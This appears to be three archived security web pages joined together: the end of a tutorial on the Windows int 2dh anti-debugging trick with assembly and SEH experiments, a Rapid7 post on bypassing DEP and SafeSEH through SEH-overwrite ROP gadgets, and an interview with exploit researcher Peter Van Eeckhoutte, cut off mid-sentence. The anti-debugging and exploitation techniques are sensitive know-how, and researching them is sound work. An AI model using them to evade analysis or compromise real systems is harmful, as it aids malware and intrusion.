<img src='img/Temp2_2405.jpg' />  
---  
Figure 5: SEH Chain of Int2dPrint\_EAX\_0\_JZ0.exe before and after reaching
the main\(\)  
  
  
**Case 2. Non-Debug Mode and IMM Debugger** \(column 3 in Table 1\): Based on
the logic of the two programs, you can soon reach the conclusion that the byte
instruction right after int 2dh is skipped\! There are two observations here:
\(1\) the Cygwin handler is _**NEVER**_ executed\! This is because the
Immunity Debugger takes the control first \(Recall the logic of
KiDispatchException and the KiForwardException to debugger port\). \(2\)
Immunity Debugger modifies the value of EIP register, because the exception is
a breakpoint. See discussion in Ferrie's article about IMM's behavior \[1\].
The result of shifting one byte, however, is also affected by the kernel
behavior \(look at the EIP-- operation in KiDispatchException \(see pp. 439 of
Nebbett's book \[2\]\). The combined effect is to shift one byte. Note that if
replacing IMM with another user level debugger such as IDA, you might have a
different result.  
  
**Case 3. Debug Mode without WinDbg Attached and CMD shell**\(column 4 in
Table 1\): windows freeze\! The reason is clear: no debuggers are listening to
the debug port and the breakpoint exception is not handled \(no one advances
the EIP register\).  
  
**Case 4. Debug Mode without WinDbg Attached and Run in IMM**\(column 5 in
Table 1\): This is similar to case 2. If you F9 \(and run the program\) in
IMM, you might notice that IMM stops at the _**SECOND instruction**_ right
after int 2dh \(i.e, "_**CMP EAX,0**_ "\) first \(because it's a breakpoint
exception, but the kernel debugging service is actually not triggered\). If
you F9 \(continue\) the program, it continues and exhibits the same behavior
as Case 2. Again, the byte scission is the combined result of IMM and the
kernel behavior \(on int exceptions\).  
  
**Case 5. Debug Mode with WinDbg Attached and Run in CMD shell**\(column 6 in
Table 1\):In this case, WinDbg stops at the _**instruction right after int 2dh
**_\(i.e., "_**inc EAX**_ "\) and if continues, executes the "inc EAX"
instruction.  
  
**Case 6. Debug Mode with WinDbg Attached and Run in IMM**\(column 7 in Table
1\):In this case, WinDbg never gets the breakpoint exception, it's the user
level debugger IMM gets the breakpoint exception first and like case 4, IMM
readjusts the EIP register so that it stops at the _** SECOND INSTRUCTION**_
after int 2d. It is interesting to note that, even when WinDbg is initiated,
if you start a user debugger, it gets/overrides the WinDbg on the processing
of breakpoints. This is of course understandable -- think about using Visual
Studio in the debugged mode for debugging a program, it is natural to pass the
breakpoint event to Visual Studio first. Once the user level debugger declares
that the exception has been handled, there is no need to to pass to the kernel
debugger for handling.  
  
Clearly, _**IMM debugger has a "defect" in its implementation.**_ First, it
blindly processes a breakpoint exception even if this is not a registered
exception in its breakpoint list. Second, the kernel service handles the
readjustment of EIP differently for int 3 and int 2d \(even though both of
them are wrapped as the 80000003 exception in windows\). When IMM does not
differentiate the cases, the combined effect is that the readjustment of EIP
is "over-cooked" and we see the byte scission.  
  
**3.3 Challenges of the Day**  
  
All of the above discussion are based on the assumption that EAX is 0 when
calling the int 2d service. Notice that this is a value unexpected by the
windows kernel -- the legal values are 1, 2, 3, and 4 \(debug print,
interactive, load image, unload image\). Your challenges today is to find out
the cases when EAX is set to 1, 2, 3, 4, and other unexpected values and
assess the system behavior. You will have interesting discoveries.  
  
****  
  
  
**4\. Experiment 2: notepad**  
  
  
There is another interesting area we have not explored: the user installed
SEH. The Int2d programs are good examples. The preamble code before the main
function installs an SEH handler offered by Cygwin. It immediately leads to
the termination of the process. It is interesting to observe the behavior of
the default kernel32 handler. The following experiment sheds some light.  
  
  
**4.1 Experiment Design**  
When we use File->Open menu of notepad, we will always see a dialog popped up.
Our plan is to insert the code in Section 3.1 before the call for popping
dialog, and observe if there is any byte scission.  
  
  
The first question is how to locate the code in notepad.exe that launches a
file open dialog. We will again use some immunity debugger tricks. It is
widely known that user32.dll provides important system functions that are
related to graphical user interface. We could examine the visible functions by
user32.dll using the following approach.  

  1. Open notepad.exe \(in c:\windows\) using the Immunity Debugger
  2. View -> Executable Modules
  3. Right click on "_**user32.dll**_ " and select "_**View- >Names**_". This exposes the entry address of all externally visible functions of the dll. Browse the list of functions, we may find a collections of functions such as CreateDialogIndirectParamA and CreateDialogIndirectParamW. Press "F2" to set a software breakpoint on each of them. 
  4. Now F9 to run the notepad program. Click File->Open and the IMM stops at _**7E4EF01F**_. Go back to the View->Names window, you will find that it is the entry address of _**CreateDialogIndirectParamW**_.
  5. Now remove all other breakpoints \(except CreateDialogIndirectParam\), so that we are not distracted by others. You can do this in View->Breakpoints window to remove the ones you don't want.
  6. Restart the program \(make sure that your BP is set\), click file->open, now you are stopping at CreateDialogIndirectParamW. We will now take advantage of once nice feature in IMM. Click _**Debug- > Execute Till User Code**_ \(to allow us get to the notepad.exe code directly\!\). Note that since the dialog is a modal dialog \(which sticks there until you respond\), you have to go back to the running notepad and cancel the dialog. Then the IMM stops at instruction _**0x01002D89**_ of notepad.exe\! This is right after the call of _**GetOpenFileNameW**_ , which we just returns from.

  
<img src='img/Temp2_2409.jpg' />  
---  
Figure 6. Disassembly of notepad.exe  
  
  
The disassembly of notepad.exe is quite straightforward. At 0x01002D27, it
sets up the dialog file filter "\*.txt", and then at 0x01002D3D, it calls the
GetOpenFileW function. The return value is stored in EAX. At 0x01002D89, it
tests the value of EAX. If it is 0 \(meaning the file dialog is canceled\),
the program control jumps to 0x01002DE0 \(which directly exists the File->open
processing\).  
  
We now can insert our instructions \(most from Section 3.1\) at 0x01002D27
\(the side-effect is that the dialog file filter is broken - but this is ok\).
The code is shown below \(we call it _**notepad\_EAX\_0\_JZ0.exe**_.
Similarly, we can generate _**notepad\_EAX\_0\_JNZ0.exe**_\):  
  
\------------------------------------  
  
xor EAX, EAX \# set EAX=0;  
int 2d \# invoke the exception handler  
inc EAX \# if executed, will set EAX=1  
cmp EAX, 0  
JZ 0x01002D89 \# if EAX=0, will skip printf\("BBBB"\);  
\-----------------------------------  
  
Run notepad\_EAX\_0\_JZ0.exe in a command window \(undebugged window\), you
will get the standard exception window thrown by windows. If you click the
"details" link of the error dialog, you will be able to see the detailed
information: note the error code 0x80000003 and the address of the exception
\(0x01002D2B\!\). I believe now you can easily draw the conclusion about the
exception handler of kernel32.dll.  
  
  
  
<img src='img/Temp2_2414.jpg' />  
---  
Figure 7: Error Report  
  
  
**4.2 Challenge of the Day**  
  
Our question is: _**are you sure that the error dialog is thrown by the
handler of kernel32.7C839AC0?**_ Prove your argument.  
  
  
**5\. Experiment 3: SEH Handler Technique**  
  
Recall that the SEH handler installed by the user program itself can also
affect the running behavior of int 2d. For example,
Int2dPrint\_EAX\_0\_JZ0.exe installed a handler in Cygwin1.dll, it leads to
the termination of the process immediately; while the default kernel32.dll
handler throws out an exception dialog that displays debugging information. In
this experiment, we repeat Ferrie's example in \[3\] and explore further
potential possibilities of anti-debugging.  
  
Figures 8 and 9 present our slightly adapted version of Ferrie's example in
\[3\] . The program is modified from the Int2dPrint.exe. The first part of the
code is displayed in Figure 8, starting from 0x004010F9 and ending at
0x0040110E. We now briefly explain the logic.  
  
Basically, the code is to install a new exception handler registration record
\(recall that SEH is a linked list and each registration record has two
elements: prev pointer and the entry address of handler\). So instruction at
0x004010FB is to set up the handler address attribute to 0x004016E8 \(we'll
explain later\), and at 0x00401100 it is to set the prev pointer attribute.
Then the instruction at 0x00401103 resets FS:\[0\], which always points to the
first element in the SEH chain. The rest of the code does the old trick: it
puts an "INC EAX" instruction right after the int 2d instruction and depending
on whether the instruction is skipped, it is able to tell the existence of
debugger.  
  
<img src='img/Temp2_2407.jpg' />  
---  
Figure 8. Part I of Ferrie's Code  
  
  
We now examine the exception handler code at 0x004016E8. It is shown in Figure
9, starting at 0x004016E8 and ending at 0x004016F4. It has three instructions.
At 0x004016E8, it puts a word 0x43434343 into address 0x00402025. If you study
the instruction at 0x0040111c \(in Figure 8\), you might notice that at
0x00402025, it stores the string "BBBB". So this instruction is essentially to
store "CCCC" into the RAM. **If the SEH handler is executed and if the second
printf\(\) statement is executed, you should see "AAAACCCC" in output, instead
of "AAAABBBB"**. You might wonder, why not just change the value of a register
\(e.g., EBX\) in the handler to indicate that the SEH is executed? Recall that
interrupt handler of OS will recover the value of registers from kernel stack
- no matter what value you set on a register \(except for EAX\), it will be
wiped out by OS after return.  
  
The last two instructions of the SEH handler simply returns 0. Notice that, as
shown by Pietrek in \[1\], "0" means _**ExceptionContinueExecution**_ , i.e.,
the exception has been handled and the interrupted process should resume.
There are other values that you can play with, e.g., "1" means
ExceptionContinueSearch, i.e., this handler could not solve the problem and
the search has to be continued on the SEH chain to find the next handler. Note
that these values are defined in the EXCEPT.h.  
  
  
<img src='img/Temp2_2404.jpg' />  
---  
Figure 9. Part II of Ferrie's Code  
  
There could be another factor that affects your experimental results. The
immunity debugger can be configured on whether or not to pass the exception to
a user program. Click the "Debugger Options" menu in IMM, and then the
"Exceptions" tab \(shown in Figure 10\). You can specify to pass all
exceptions to user programs \(by clicking the "add range" button and select
all exceptions\). After the configuration is done, running the program using
"Shift + F9" will pass the exceptions to user installed SEH \(compared with
F9\).  
  
<img src='img/Temp2_2410.jpg' />  
---  
Figure 10. Configuration of Exception Handling of IMM  
  
Similar to Section 4, we can run our program
\(Int2dprint\_EAX0\_RET0\_JZ0.exe, meaning setting EAX to 0 when calling int
2d, and returning 0 in the SEH handler\), under different environments, with
debugging mode turned on or not. The results are displayed in Figure 11.  
  
_**Non-debug mode**_ : when running in command window, the output is
"AAAACCCC". Clearly, the user installed SEH is executed and the byte scission
did not occur \(i.e., the "inc EAX" instruction is indeed executed\). Compare
it with the similar running environment in Table 1, you can immediately
understand the effect of returning 0 in SEH: it tells the OS: "everything is
fine. Don't kill the process\!".  
  
If you run the program in IMM, using F9 \(without passing exceptions to user
program\), the result is "AAAA", where the "inc EAX" is skipped by IMM
\(similar to Table 1\) and the user installed SEH is never executed; however,
if you choose shift+F9 to pass exceptions to user program, the SEH is executed
and the "inc EAX" is executed\! It seems that in the "shift+F9" mode, IMM's
does not re-adjust the EIP \(as stated in Ferrie's article\).  
  
_**Debug-Mode with WinDbg Attached**_ : Now when WinDbg is attached, the
command line running of the program yields "AAAABBBB". This means that "inc
EAX" is executed but the SEH is not executed\! I believe, similarly, you can
explain the IMM running result.  
  
Now, the conclusion is: the use of user installed SEH enables more
possibilities to detect the existence of debuggers and how they are
configured\!  
  
<img src='img/Temp2_2406.jpg' />  
---  
Figure 11. Experimental Results of Ferrie's Example  
  
_**5.1 Challenges of the Day**_  
  
Play with the return values of your SEH handler, set it to 1, 2, and other
values such as negative integers. What is your observation?  
  
  
**6\. Conclusion**  
  
The int 2d anti-debugging technique is essentially an application of OS finger
printing, i.e., from the behaviors of a system to tell its version and
configuration. From the point of view of a program analysis researcher, it
could be a very exciting problem to automatically generate such anti-debugging
techniques, given the source/binary code of an operating system.  
  
  
**References**  
  
\[1\] M. Pietrek, "A Crash Course on the Depth of Win32Tm Structured Exception
Handling," Microsoft System Journal, 1997/01. Available at
http://www.microsoft.com/msj/0197/exception/exception.aspxhttp://www.microsoft.com/msj/0197/exception/exception.aspx.  
  
\[2\] G. Nebbett, "Windows NT/2000 Native API Reference", pp. 439-441, ISBN:
1578701996.  
  
\[3\] P. Ferrie, "Anti-Unpacker Tricks - Part Three", Virus Bulletin Feb 2009.
Available at http://pferrie.tripod.com/papers/unpackers23.pdf, Retrieved
09/07/2011.

# Rapid7 Community: Metasploit: Exploiting SEH Overwrites Using ROP

**Created:**| _5/22/2011 1:34:53 PM_  
---|---  
**Updated:**| _5/22/2011 1:35:07 PM_  
**Author:**| __  
**Tags:**| _Metasploit rop seh veh_  
  

Wird gerade moderiert

<img src='img/Temp2_6750.png' width='32' height='32' alt='Rapid7 Staff' />

## Exploiting SEH Overwrites Using ROP

Gepostet von Rapid7 Staff am 31.01.2011 04:38:00

Originally Posted by jduck

In the final days of 2010, an exploit for the Windows CreateSizedDIBSECTION
vulnerability was added to the Metasploit trunk. The trigger bitmap was taken
byte-for-byte from Moti and Xu Hao's slides from the Power of Community
conference. However, the method for achieving code execution on Windows XP was
slightly different.

Since this vulnerability is basically equivalent to "memcpy\(stack\_buffer,
user\_input, -1\);", the most reliable road to exploitation is achieved using
an SEH overwrite. Unfortunately, Windows XP SP2 and later protects all modules
loaded in Explorer.exe with SafeSEH. Additionally, Windows opts in to DEP/NX
for Windows Explorer by default. Therefore, both DEP and SafeSEH must be
bypassed for successful exploitation.

In order to accomplish that feat, Moti and Xu Hao used the "l3codeca.acm"
module. Sadly, that module didn't get loaded during my tests. I later found
that it loads when determining the duration of video in the "Details" view
mode. Still, relying on two different Explorer window view modes seemed like a
bad idea. So I looked for another way.

After a minute or so, the "msacm32.drv" module gets loaded into Windows
Explorer's address space. This module is presumably used for handling
something to do with ACM sound, but that's largely unimportant. It does mean
that this technique will only work on Windows XP machines that have a
compatible sound device though. The key fact is that this module isn't
protected by SafeSEH\! Win\! We can use any address in the code segment of
this library as our fake SEH handler.

So, now the problem is how to leverage this module to kick off a ROP-stage. At
first I was a bit frazzled and rather than deduce the solution logically, I
used a technique I like to call trigger-fuzzing. That is, I repeatedly
triggered the vulnerability each address in "msacm32.drv" code segment and
monitored the results. After less than 512 attempts, I noticed I had a crash
with EIP containing the tell-tale Rex::Text pattern.

After investigating the instruction sequence that led to EIP control, I
realized the beauty of it. Trigger-fuzzing had led me to a technique that
enables replacing pop/pop/ret addresses with something turning them into ROP
fairly easily. The magic sauce boils down to this:

mov reg32, \[esp+8\]  
call \[reg32+off\]

As you can see, this will load the address of the SEH record from the stack,
then use it's contents for the next gadget. As a bonus, we now have the
address of the exception record in a register and can easily reference our
payload \(since we already know the SEH record offset in our buffer\).

Of course, this isn't exactly breaking information, Nor is it the only
instruction sequence that will work. While chatting with Peter Van Eeckhoutte,
he pointed out that a similar gadget is on the corelan wallpaper. Here are
some other possible instructions that could work, just to get your creative
juices flowing.

mov reg,\[ebp+0c\] + call \[reg\] \(from corelan wallpaper\)  
mov reg, fs:\[0\] / ... / ret \(also from corelan wallpaper\)  
pop regX / pop regY / pop regZ / call \[regZ+8\]  
push regX / mov regY,\[esp+0xc\] / call \[regY+0xc\]  
mov regY, \[ebp+0xc\] / push \[regY-0x4\] / ret  
mov regY, fs:\[0\] / mov reg, \[regY-0x8\] / jmp reg

The question that remains -- Which sequences are most common? Is there
anything as common as Pop/Pop/Ret?

**PS. If you're interested in these kinds of things, we're hiring\! See
ourprevious blog post, and try not to be too intimidated :-\)**

# Interview with Peter Van Eeckhoutte @ Slo-Tech

**Created:**| _5/12/2010 9:46:37 AM_  
---|---  
**Updated:**| _5/12/2010 9:47:02 AM_  
**Author:**| __  
**Tags:**| _security people intelligence awesome_  
  

### Interview with Peter Van Eeckhoutte

  * Edi Strosar :: 10. maj 2010

**Introduction:**

We continue our series of interviews with a slightly »unusual« talk this time:
Peter Van Eeckhoutte may be unknown to readers who don't follow the InfoSec
scene on a daily basis. But he is well known to the international security
community and his name is climbing fast on the list of top security
researchers. He's the author of many tutorials related to buffer overflow
exploitation on Windows platforms and also the driving force behind Corelan
Team, a group of security enthusiasts with a common goal: researching security
vulnerabilities.

  

**Slo-Tech:** Please introduce yourself to our readers. The usual stuff:
education, current job, programming skills, etc.

  

**Peter Van Eeckhoutte:** Hello folks, my name is Peter Van Eeckhoutte \(a
typical Belgian name, so don't even try to pronounce my last name :-\)\), aka.
»corelanc0d3r« I finished my Bachelor degree in applied Information Technology
in 1998. Development environments/languages such as Clipper, C++, Cobol and
RPG were still hot back then \(and I believe if you are still fluent in Cobol
and RPG, you can make a lot of money nowadays\). While most part of that
education was focused on analysis and development in general, I quickly came
to realize that programming all day long is not what I wanted to do. I had
already gained quite some experience with computer hardware and networking at
that time, so I started my first job as Technical Services Manager in a local
computer shop, in 1997, combining a full time job with full time school. In an
attempt to make my own life \(and the lives of my co-workers\) a bit easier, I
tried to take advantage of my programming/scripting background and wrote a
number of scripts and tools \(VB5 and 6, asp, etc\), in an attempt to automate
administrative and technical processes.

  

**Slo-Tech:** When did you became involved in computer security and what was
the motive?

  

**Peter Van Eeckhoutte:** One of the computers that was brought in by a
customer appeared to act somewhat strange. After spending a while on figuring
out what was wrong, I discovered an instance of »Back Orifice« on that
computer. I had some experience with programming, so I already experienced the
excitement of being able to program a computer and make it do what you want it
to do. But after seeing how applications and operating systems can be abused,
I got thrilled even more. The Back Orifice »incident« took the concept of
»being able to make an application or computer do what you want it to do« to
another level It really shifted my attention from just programming to
security. In terms of motives: I guess learning and wanting to know how things
work are just a natural thing to me, so I cannot really call that a motive...
It just happened.

  

  

<img src='img/Temp2_4500.jpg' width='200' alt=' BlackHatEU (L to R): Peter Van
Eeckhoutte, FX, Atilla, Xavier Mertens, Christiaan Beek Credit: ate' />

BlackHatEU \(L to R\): Peter Van Eeckhoutte, FX, Atilla, Xavier Mertens,
Christiaan Beek Credit: ate

**Slo-Tech:** Who are security researchers/people you really respect and had
an enormous impact on your current security related work?

  

**Peter Van Eeckhoutte:** There are a lot of security researchers I really
respect. Anyone who took/takes the time to do decent research and share their
findings with the world deserves a lot of respect. Without that research and
without having the results/techniques available on the internet, I wouldn't
probably know what I know today. Unlike certain other areas in IT, learning
how to »hack«, how to exploit, etc. is very hard if you have to do it on your
own. It requires a specific way of thinking, a different mindset, and of
course a lot of background knowledge on how things work. So big kudos to the
folks that have put a lot of time and efforts in researching.

  

**Slo-Tech:** Peter is well known on the security scene for his excellent
buffer overflow exploitation tutorials. Especially because of his unique
approach in presenting complex topics in clear and easy-to-follow way. What
was the main influence that pushed you into that writing-style direction?

  

**Peter Van Eeckhoutte:** While I started learning about buffer overflows
myself, I found a lot of information on the internet, or in books. So I'm
obviously not the first one \(and I don't pretend to be either\) to write
about these subjects. Most of those resources have a problem though. The first
part of the tutorial or books are OK. But then a jump is made. It's hard to
identify/qualify what that »jump« consist of or what it is for that matter,
but it was quite effective because it stopped me \(and many other people I
know\) from working our way through these tutorials. I guess it kinda ties
back into the way certain tutorials and books are written, and the fact that
some details are left out. OK, one could argue that it's all about »trying
harder« and showing some perseverance as well, but let's be honest: when
you've just started the learning process, a little help \(as opposed to an
unnecessary gap to close\) is much appreciated. After all, we are all humans
and nobody was born with all the knowledge and the talents to learn everything
by yourself.

  

Anyways, to cut a long story short: this triggered me to start writing my own
set of tutorials and basically tell my own story. My suggestion is: read the
tutorials, and then read the books. It might help you understand the books
because they are, in fact, great resources. And if you feel that some of the
tutorials lack some steps or details, let me know. I'm open to suggestions and
feedback.

  

**Slo-Tech:** Don't you think that classic buffer overflows on the stack are
becoming very hard to reliably exploit on modern OSes? Are overflows the next
bug-class that are going to be »extinct« or is there still plenty of
possibilities to exploit them?

  

**Peter Van Eeckhoutte:** First of all, I don't believe in a user-
friendly/usable yet 100% fully secured system. If you can install and execute
code, you'll most likely going to be able to find, abuse and exploit flaws as
well. Look at the amount of efforts that have been put into securing operating
systems, compilers, and the stack in the last 10 years, and look at the facts
today.

  

People still find and publish exploit code for stack based overflows every
day, despite all the hard work/protection mechanisms. So the good old stack
overflows are not dead at all. Stack cookies can be bypassed, ASLR can be
bypassed, NX can be bypassed, a lot of applications don't even use /GS, or use
3rd party shared libraries that are not /SafeSEH protected, etc. Despite all
that hard work, I don't think these type of bugs are going to dry up any time
soon. And even if they do, the next-in-line-family-of-bugs will just present
themselves and continue to achieve the same result: system compromise. Or old
bugs, perceived as just »DoS« vulnerabilities, might al of a sudden become
exploitable because of some clever new techniques. Think about unicode bugs or
null pointer dereferences. For a long time, people assumed that these kind of
bugs are not exploitable. Hell, a lot of people still think they are not
exploitable. I even had a talk about this with FX \(from Phenoelit\) - up to
today, a lot of people still think that unicode overflows are not
exploitable... That's sad. Anyways, it only proves that trying to find new
techniques for old bugs pays off.

  

Also: security research is not just for fun. It's a business, for both »white«
and »black« hats. As long as people can make money out of it, they'll continue
researching it.

  

**Slo-Tech:** You are also the leader of Corelan Security Team, a group of
security enthusiasts that deals with security research mostly for fun and the
learning experience. Can you describe how communication between team members
works? Is CT also collaborating with other groups or maybe even with renowned
security researchers?

  

**Peter Van Eeckhoutte:** Ah well – »leader« is a big formal word... I just
founded the blog and started the team, but I don't consider myself to be on
another level than anyone else in the team. I respect each and every member
for their input and talents. We are peers and we just share common interests:
learn and share. Of course, because of the fact that everybody has their
daytime jobs, and because of time zone differences, it's really hard to get
all members together to have a chat. But despite those hurdles, we have been
quite successful in cooperating, using common communication techniques: email
\(internal mailing list\), IRC \(private server of course\), etc.

  

We are currently not cooperating with other groups or researches ... not
because we don't want to, but our values are very important and we obviously
don't control what the other people will do. Also, when a vulnerability is
discovered, it is normal that people find some kind of satisfaction and pride
in finding new things and sharing them amongst a small group of people before
going public with the details. Obviously, that does not mean that we don't
respect other groups or researchers. Not at all.

  

**Slo-Tech:** What tools are you using for your research? Did CT members wrote
any of these tools? Also, does CT use any private, internal, as-of-yet
unreleased tools in their research?

  

**Peter Van Eeckhoutte:** We mainly use what anyone else uses, but sometimes a
good custom script will do things faster :-\) Let's say if we stumble upon a
»structural bug« in a certain file format. What usually happens next is: we
build a little framework/script that will help us find similar bugs in other
applications. There's nothing really secret about it. After all, research and
vulnerability development is not about tools. Tools will help you do things
faster, but you really have to be creative and use your brains first.

  

Another example of a script/tool that will help people to analyze crashes and
build exploits faster and more reliable is »pvefindaddr«, a plugin
\(PyCommand\) I wrote for Immunity Debugger. This script can be downloaded
from the Corelan website.

While this tool is public, we obviously test new versions, new features of
this script in our team first. We are currently testing a feature that should
help building ROP payloads, so stay tuned\!

  

  

<img src='img/Temp2_4499.jpg' width='200' alt=' pvefindaddr displaying
&#187;ROP chain&#171;' />

pvefindaddr displaying &\#187;ROP chain&\#171;

Other than that, we don't use anything special or secret. Sorry to disappoint
you :-\) The best and most valuable tool out there, is just common sense.
Tools will help you achieve a goal, but the brain needs to set the goal and
the path first.

  

**Slo-Tech:** What is the standard CT procedure in reporting bugs?

  

**Peter Van Eeckhoutte:** I think we use a procedure/process that is
frequently used by a lot of people: first, we contact the vendor and try to
convince him \(yeah, I know, sounds bad doesn't it\) that we want to help them
fix the bug. That first email does not contain technical details. It only
contains a link to our disclosure policy and indicates the type of bug we
found. We basically give them 2 weeks to reply and indicate that they want to
work with us. \(That does not mean that they need to fix the issue in 2 weeks
of course\). If they reply, they are given the chance to fix the bug, release
a patch, and then we go public. The only thing they need to do is keep us
posted once in a while, while they are fixing the bug. If they don't reply we
send them a reminder. If they ignore the reminder as well, we go public.
Simple, but fair.

  

**Slo-Tech:** Did CT ever had any problems with companies making legal
threats? If so, how do you deal with situations like this? Do you have any
legal advisor?

  

**Peter Van Eeckhoutte:** Haha - very good question. In fact, just a few weeks
ago we had an issue after having approached a company in Denmark. We told them
that there was a bug in their application and they replied back that:

  * first of all, they don't agree with our policy and
  * second, they will take legal actions against us.

I guess many people may have encountered a situation like this before, but it
was the first time for me... and I was shocked. Think about it. We are doing
you a favor, Mr. developer, and you want to sue me for that ?

  

So I did some basic research \(spoke with a lawyer, with someone from the
Computer Crime Unit in Belgium, and with people from EFF\), and concluded that
there is nothing wrong about what we are doing:

  * We did not obtain the software in an illegal way. The trial version can be downloaded for free from the vendor website.
  * We did not compromise any 3rd party systems in order to find or exploit the bug.
  * My fundamental right on »Freedom of speech« allows me to put research I've done on my website.

Of course, all of that is based on assumptions. I simply don't have the budget
to hire lawyers, but I'm pretty confident that the way we approach things is
not illegal in any way.

  

Anyways, I went back to the developer, explained him that I still wanted to
help him and asked him why he has been so aggressive. He told me that he does
not care about that application any more \(but he is still selling it on his
website\), and wonders why I've put efforts into looking for a bug in that
particular application, because »everybody uses the application inside a
secured perimeter«... \(he was basically saying, that nobody installs the
application on a computer directly connected to the internet and he was
obviously not considering insider threats\). Result: I closed the case, and
published the details.

  

This is a perfect example why people might consider stop doing responsible
disclosure. But I have to be honest... I have received many emails from
vendors/developers \(small companies and big companies\), honestly thanking us
for caring about doing things in a responsible way. So, to all security
researchers in general, if you are serious about doing responsible
disclosure... Don't give up. Remember the good ones, and use your anger over
the bad ones as motivation to find more bugs, not to give up :-\)

To all vendors/developers in general: guys, we are doing you a favor. Don't
shoot us, because you are the one who made a mistake in the first place.

  

**Slo-Tech:** Can anyone become a member of CT or is there a strict selection?
How does this selection process work? Are there any sanctions for abusive
members?

  

**Peter Van Eeckhoutte:** CT is not a secret society or community. But that
does not mean that it's open for anyone to join. After all, we are dealing
with possible sensitive 0-day information, and we have some important »rules«
to follow. Rules and values all members of the team care about. By just
allowing anyone in the team, we would jeopardize those values, and that is a
risk I'm not willing to take. One of the values we all think are very
important, is learning/sharing and helping other people. So if you are just
looking for some help, you can simply use our forums to post questions - any
questions really \(yes, even the newbie questions\), and we'll try to help. If
you are into l33t 0-day bugs and nifty exploits only then I have to disappoint
you \(again\): we don't think the exploit itself is the only thing that
matters. It's all about the bug, not about the exploit. The exploit might help
people to convince other people that a bug is exploitable. But, the only thing
that really matters is the bug itself.

  

Back to CT: we have a fairly good amount of members in the team. Finding a
good balance between less members \(less input\) and more members \(more risk
of unwanted disclosure\) is a tough exercise. What we usually do, if we need
additional members, is just monitor certain repositories, IRC channels, forum
posts etc, and try to figure out if those people would fit the profile, based
on their past research and actions.

  

Regarding abusive members: we really cannot tolerate/take the risk of having
an information breach or conflict of interests. The entire team is based on
mutual respect and trust, so if the trust relationship is broken, the story
ends for that member. On the other hand, I also believe in second chances - so
let's say we evaluate incidents on a case-by-case basis.

  

**Slo-Tech:** Did Corelan Team ever sell 0-day bugs to resellers? Would you
sell a high profile 0-day bug? Also, would you disclose the bug publicly -
suppose the vendor had no interest to patch it - even if you knew that this
will put many end-users to risk?

  

**Peter Van Eeckhoutte:** No, we've never sold any bugs. One of the reasons
for not selling bugs is that it would be hard to split the money amongst all
members, without triggering discussions, \(which may result in people leaving
the team\). It's not worth it. Respect, trust, friendship and good values are
more important and more valuable than bugs. So basically, not going after the
money, keeps us on track in terms of motives and values.

  

I don't have a problem with people who sell bugs, as long as they don't have
an issue with me doing responsible disclosure :-\) When we contact a vendor
about a certain bug, we really try hard – if necessary - to convince the
vendor that the bug will put their customers at risk. If that doesn't do the
trick, I don't have a problem going public with it. It might conflict with the
concept of responsible disclosure, but we actually try hard to convince people
and if they don't care, I guess customers should know about this as well and
consider using different software. After all, the bug may already been known
in the »underground« scene - if we don't disclose it, someone else might.

  

**Slo-Tech:** Do you believe in Responsible disclosure? Do you think it works?

  

**Peter Van Eeckhoutte:** I strongly believe in it, but that's just my
personal opinion. As I stated earlier, I think we should keep our focus on
bugs, not on exploits. We are here to help and to make things safer, not to
prove that we can write a fancy exploit and show off. The reality of
disclosure is that, whatever type of disclosure you prefer, it will always
happen after the facts, after a bug was introduced in code, and discovered by
you - the researcher. So if you have the option to at least give a vendor the
chance to fix it before you make the details public, then I guess that makes
sense. Stating that they wouldn't care or would not fix it in a short amount
of time anyway is not fair I think. You don't really know unless you try,
unless you give them a chance to reply and work on getting the issue fixed. Of
course, nobody can predict the vendor reaction in advance, or if they would
fix the bug faster or not when you choose to disclose the bug to the public
without telling them\)

  

But it does not really matter, because I also realize that, in 99,99% of the
cases, if you get lucky, the developers will fix that particular bug. Sadly,
nobody will do a full source code audit because of the fact that you disclose
a bug. But they are not going to do a full source code audit for sure if
nobody reports them anything. And on top of that, the bug might not get fixed
either. After all, not all vendors monitor security mailing lists... So, at
least, by addressing them directly, we give them the chance to fix the bug
before it's being exploited \(if not already\). Just like many other people, I
am running al kinds of large and small apps myself on a daily basis \(well
known and less known apps\) and I would very much like to get a decent patch
before the bug is being exploited. So that's why IMHO, I think responsible
disclosure is a fair deal.

  

Sadly, regardless of what people do in terms of disclosure, we are still miles
away from solving the root cause of many bugs in most cases. Still a good
amount of bugs are present in applications, not because the developer
intentionally introduced the bug, but because he may not know how to write
secure code. That is a fact, and until secure coding becomes part of every
single development training \(at school, etc\), it is not going to change any
time soon.

  

OWASP, for example, is really trying to build partnerships with schools and
institutions alike... That really is a good initiative and deserves a lot of
respect and support. But we are still not nearly where we need to be. So
perhaps, security researchers should establish a partnership with companies
that can offer secure code training, and should mention this in the advisories
that are sent to vendors. So instead of just fixing the bug \(of course, based
on the type of the bug\), we could tell them to fix the bug and get their
developers trained, and offer them some options. In fact, this sounds like a
plan - if any company is willing to establish a partnership with Corelan Team,
contact me - I'm sure we can work something out so we can earn a few bucks to
get our hosting and internet connectivity bills paid :-\)

  

**Slo-Tech:** Corelan Team recently disclosed a series of advisories related
to bug in processing .zip file format. Can you please elaborate on how the bug
was found and exploited?

  

**Peter Van Eeckhoutte:** I guess we just stumbled upon it. While doing some
research on file formats in general, one of our members \(mr\_me\) documented
the zip file format and realized that one of the header fields refers to the
size of the filename inside the zip file. So he just increased that specific
header field \(size\) and made it larger than what would be accepted by the
OS, fixed some offsets in the format and basically put an overly long filename
inside a zip file. It was amazing to see how many zip apps just crashed over
this. Most big, »A class« level applications are OK, but a scary amount of
apps are not.

  

**Slo-Tech:** Do you think it's easier to find bugs with static analysis
\(source code review\) or dynamic analysis and fuzzing? Which approach is
Corelan Team using?

  

**Peter Van Eeckhoutte:** I don't think either one of the techniques is
easier. If a tool makes it easier to deploy a certain approach, then more
people will start using that tool, and the number of bugs that can be found
will decrease \(because vendors will start using the same tools as well to
find and fix bugs\). Certain tools can make the fuzzing process easier, but
your success ratio might go down after some time.

  

Source code is not always available, especially not for most commercial
applications. Even if source code is available, code audits can be extremely
challenging. It's easy to miss a certain vulnerability: a 200 line application
can contain a vulnerability and you may have to work on it for a day to find
it. At the end, if you think the source code is fine, a compiler/linker might
introduce a bug and it would be »game over« as well. The good news is: if you
have the source code and if there is a bug, you will most likely find it if
you spend enough time on it. Success guaranteed.

  

Reverse engineering \(either application RE or patch RE\) is another approach,
but – pretty much similar to source code auditing – you really need to master
the technique and language before you can spot bugs. Very tough, but if you
master it, success is guaranteed.

  

I know there is a lot of discussion about fuzzing – some people say that dumb
fuzzing is not effective anymore \(but at the same time, big bugs in big
